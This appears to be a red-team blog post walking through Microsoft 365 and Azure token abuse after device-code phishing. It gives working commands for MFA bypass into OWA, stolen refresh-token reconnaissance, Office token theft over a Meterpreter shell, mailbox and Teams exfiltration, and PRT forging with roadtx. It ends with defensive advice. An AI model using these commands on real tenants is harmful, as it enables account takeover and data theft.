Skip to Main Content
April 13, 2023

Hacking Your Cloud: Tokens Edition 2.0

Written by Edwin David
Cloud Penetration Testing Office 365 Security Assessment

Office and Microsoft 365 tokens can add some interesting dynamics to Azure and Microsoft 365 services penetration testing. There are a few different ways of getting JWT tokens, but one (1) of the primary ways is through phishing. In this blog, we are going to explore strategies on gaining maximum efficiency with Office tokens, different toolsets, and how to use them to maximize your pwnage in Azure. These methods are useful when attempting to bypass MFA restrictions and access cloud workloads that are unrestricted by location in conditional access. Most enterprises only restrict access to cloud workloads with MFA in conditional access.

First a free tool called Token Tactics v2, which will be used against a target account. TokenTacticsV2 github repository can be found below.

https://github.com/f-bader/TokenTacticsV2

This post will not get into phishing operations, but we will assume for the moment we were able to do device code phishing to a low end-user for an enterprise organization. Keep in mind that if you have a successful phish, you may need to act quickly, as access could be revoked at any time. This can include both passwords and sessions. 

Once authenticated as the compromised user, I will use Token Tactics v2, refresh to a $GraphToken, and expose the access token with the following commands:

RefreshTo-GraphToken -domain domain.local

$GraphToken.access_token

What you can do next with this token is use it with a tool called ROADrecon to extract basic information out of Azure AD. First, we start by authentication with the access token.

roadrecon auth --access-token eyJ0eXA<snip>

Then, you can go on ahead gather as much Azure AD Data that the user has access to. This will include users, groups, and directory roles for further phishing targeting.

roadrecon gather

One (1) hidden gem with this type of enumeration is that you can parse through your ROADrecon database and extract all the conditional access policies in the target tenant. This will produce a caps.html file that is useful in determining conditional access policies and potential bypasses.

roadrecon plugin policies

Fortunately, we are still not done and have much to do with the user that we have access to.

Email Extraction

Ever wonder what the best way to extract emails once you have an MS Graph token for an end-user is?

For email-based extraction, I decided to write a small Python tool with the help of ChatGPT. I wanted to keep email extraction simple by populating the MS Graph token into the Python script. The following tool at the bottom of this section will extract html formatted messages from the user's inbox.

The process with token tactics to make everything work in conjunction with this script can be done with these commands:

RefreshTo-MSGraphToken -domain domain.local

Expose the access token:

$MSGraphToken.access_token

Then populate your token into the Python script for exchange email.

Access to the script can be downloaded below.

https://github.com/rootsecdev/Azure-Red-Team/blob/master/Tokens/exfil_exchange_mail.py

What about a manual method to bypass MFA in a browser? What is the best way to get into OWA with a refresh token? Inside Token Tactics v2, you will first need to refresh over to a Microsoft Outlook token with the following command:

RefreshTo-OutlookToken -domain domain.local

Next, you will need to grab both the refresh token and access token and expose them in your CLI.

$OutlookToken.refresh_token
$OutlookToken.access_token

You should see something similar to the screenshot below once you have the tokens exposed in your CLI.

After you have the tokens, you will need to launch Burp Suite Pro and proxy all of your traffic through Burp Suite Pro. It’s best if scope your traffic to https://outlook.office.com. Then, send the get request for the website to repeater in Burp Suite Pro. I find it best to wipe the existing request sent to repeater and replace with this POST request below.

POST /owa/ HTTP/2

Host: outlook.office.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 2703

Referer: https://login.microsoftonline.com/

Origin: https://login.microsoftonline.com

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: cross-site

Te: trailers

code=0.AVAA&id_token=eyJO

The POST request to send should look similar to the screenshot below.

After you send the request, a 302 response should occur. Then, you can view the request in the browser, and it should automagically log you into OWA with the compromised account.

Unleashing the Hounds in Azure

At some point during a cloud penetration test, you will have to perform reconnaissance with elevated privileges in Azure. To get the maximum benefit from AzureHound, it's best if you are running it under an account that has Global Reader and Subscription Reader. Usually, this is done under some type of assumed access credential, but it is entirely possible to use AzureHound with a compromised credential that is scoped to see these kinds of things.

If you are still using token tactics to refresh your tokens to different areas of Azure and/or MICROSOFT 365, you will first need to refresh to a graph token with the following command:

RefreshTo-GraphToken -domain domain.local

Then, pull the refresh token so you can copy out the token out of your CLI interface:

$GraphToken.refresh_token

Your refresh token from Microsoft Graph should be similar to the output below.

With the refresh token extracted, it can be re-entered into AzureHound to perform additional reconnaissance in Azure AD and the subscriptions that the account has access to. The output can then be analyzed in BloodHound. The following command is used to run AzureHound with a stolen refresh token from Microsoft Graph:

./azurehound -r "0.AVAApQl<refresh_token_snip>" list --tenant domain.local -o output.json

Don’t Hassle the BOF

I can’t make a post about stealing tokens without including the Cobalt Strike BOF functionality. TrustedSec’s Remote Operations' BOF includes stealing Microsoft Office tokens from Office processes and can be downloaded at the following URL below.

https://github.com/trustedsec/CS-Remote-OPs-BOF

To demonstrate the functionality, I have implanted a reverse shell with a Meterpreter payload with a Windows 10 Hybrid Azure AD Joined device. To load bofloader, you can simply type the following command to load the extension.

load bofloader

For better Operational Security, you really should run AutoLoadStdapi and set it to False with the following command prior to using bofloader, but for demonstration purposes, I left it on. 

set AutoLoadStdapi false

Next, you can run the ps command to return a list of running process running on the target machine along with the associated PID it is running on.

After you have the Office process that you want to target, you can execute the following BOF command to retrieve all the Office tokens running from the OUTLOOK.EXE process

execute_bof /opt/CS-Remote-OPs-BOF/Remote/office_tokens/office_tokens.x64.o --format-string i  7324

Just as a small warning, you will get back many Office tokens running on the Office process. The Office tokens will be going to different Microsoft endpoints. I would suggest parsing through the Office tokens with http://jwt.ms so you know where each endpoint is going to.

Extracting Microsoft Teams Messages

While we maintain access over the account with a Microsoft Graph token, you can refresh over to a Microsoft Teams token with the following command:

RefreshTo-MSTeamsToken -domain domain.local

You can then proceed to extract Microsoft Teams conversations that were sent to the compromised user with the following command with AADInternals:

Get-AADIntTeamsMessages -AccessToken $MSTeamsToken.access_token | Format-Table id,content,deletiontime,*type*,DisplayName

This can provide valuable information during a cloud penetration test, and it's always possible that sensitive information such passwords to other systems in plaintext could be recovered. An example is shown below.

Primary Refresh Tokens 2.0

Working with primary refresh tokens and the landscape that is involved in putting them to use has changed over the past few years. There are currently no public methods at the time of this writing to extract a PRT from a Windows 10/11 device with a TPM chip. Instead, I started exploration of leveraging stolen PRT’s with roadtx. roadtx is a part of ROADrecon and can be installed with pip.

First, I choose to do a device registration with roadtx using the valid credentials of an account that I had access to. Device registrations will send an MFA request to the end user depending on conditional access policies.

Roadtx interactiveauth -u [email protected] -p password123 -r devicereg

This will write for first token to the file, .roadtools_auth. Next, we will need to register the device with the Azure tenant.

roadtx device -n devicename

After this process is done, we will forge our first primary refresh token based upon the credentials and our device certificates. This will save our first PRT called roadtx.prt.

roadtx prt -u [email protected] -p password123 –-key-pem devicename.key –-cert-pem devicename.pem

An example screenshot of this process can be found below:

Since the account we are working with is backed with MFA, the PRT will need to be enriched with an MFA claim in order to do any type of browser-based injection with Selenium. To start the enrichment process, the following command will need to be issued. (Warning: If you are doing this as part of an authorized penetration test or Red Team engagement, this will send an MFA request to the compromised end-user). Push request is ideal!

roadtx prtenrich –prt roadtx.prt

This should result in a refresh token issuance, which can then be used to finalize your PRT with an MFA claim with the following command:

oadtx prt -u [email protected] -p password123 –-key-pem devicename.key –-cert-pem devicename.pem -r 0.AVAApQL<snip>

At this point, the PRT should be updated and can now be used to perform actions in MICROSOFT 365 and/or Azure. For example, you can issue Selenium based authentication with automatic PRT usage by pointing it to a URL such as http://www.office.com with the following command:

roadtx browserprtauth –prt roadtx.prt -url http://www.office.com

A screenshot of this workflow has been provided below and is just a sample of how the capability can use roadtx with a PRT.

Conclusion

Hopefully everyone has learned several different methods of weaponizing tokens for maximum reconnaissance and data exfiltration. It’s also important to teach people that MFA can be subverted and bypassed depending on conditional access policies that are applied from within the Azure tenant. The end-user that that I coerced into doing a device code request was backed with Microsoft MFA number matching, which is starting to be a more common form of MFA.

MFA is not a silver bullet, but it does raise the bar on what an attacker has to do in order to bypass MFA protections that are protecting end-user accounts. This post should also teach you on the sensitive exposure risk if an employee logs into their Microsoft 365 account from a home pc to check on things such as email.

One (1) of the best defenses I can recommend is deploying Hybrid Azure AD Join in Azure AD connect and requiring a Hybrid Azure AD Join device to access any cloud workloads. This will not only ensure that company assets such as laptops and desktops are accessing your data, but it will also keep your end-users from logging into things such as OWA from a home desktop. Lastly, if you are worried about data exfiltration, I would suggest getting both a configuration review of your Azure tenant as well as a cloud penetration test.

References:

https://github.com/f-bader/TokenTacticsV2

https://github.com/dirkjanm/ROADtools

https://github.com/dirkjanm/ROADtools/wiki/ROADtools-Token-eXchange-(roadtx)

https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/

https://github.com/Gerenios/AADInternals

https://aadinternals.com/aadinternals/

https://learn.microsoft.com/en-us/azure/active-directory/devices/hybrid-azuread-join-plan